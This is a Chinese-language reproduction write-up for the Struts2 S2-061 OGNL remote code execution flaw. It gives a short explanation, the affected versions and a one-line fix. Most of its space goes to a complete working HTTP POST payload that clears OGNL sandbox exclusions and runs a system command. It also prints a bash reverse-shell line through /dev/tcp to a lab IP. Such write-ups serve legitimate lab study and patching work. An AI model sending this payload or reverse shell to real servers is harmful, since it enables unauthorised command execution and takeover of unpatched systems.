Struts2 ONGL远程代码执行(s2-061)
Struts 2简介
Struts2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构,以OGNL作为默认的表达式语言,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成任意代码执行。
漏洞原理
Struts2 会对某些标签属性(比如 id
) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x}
且 x
的值用户可控时,用户再传入一个 %{payload}
即可造成OGNL表达式执行。
影响范围
struts 2.0.0 - struts 2.5.25
漏洞复现
可以使用OGNL表达式来检测是否存在该漏洞
可以看到id
属性值进行了二次解析,将表达式的结果算出来了。
这里直接上写好的payload
POST /index.action HTTP/1.1
Host: 192.168.174.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 835
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
也可以将root替换成base64编码后的反弹shell命令
bash -i >& /dev/tcp/192.168.174.128/8080 0>&1
漏洞修复
将Struts2升级到最新版本。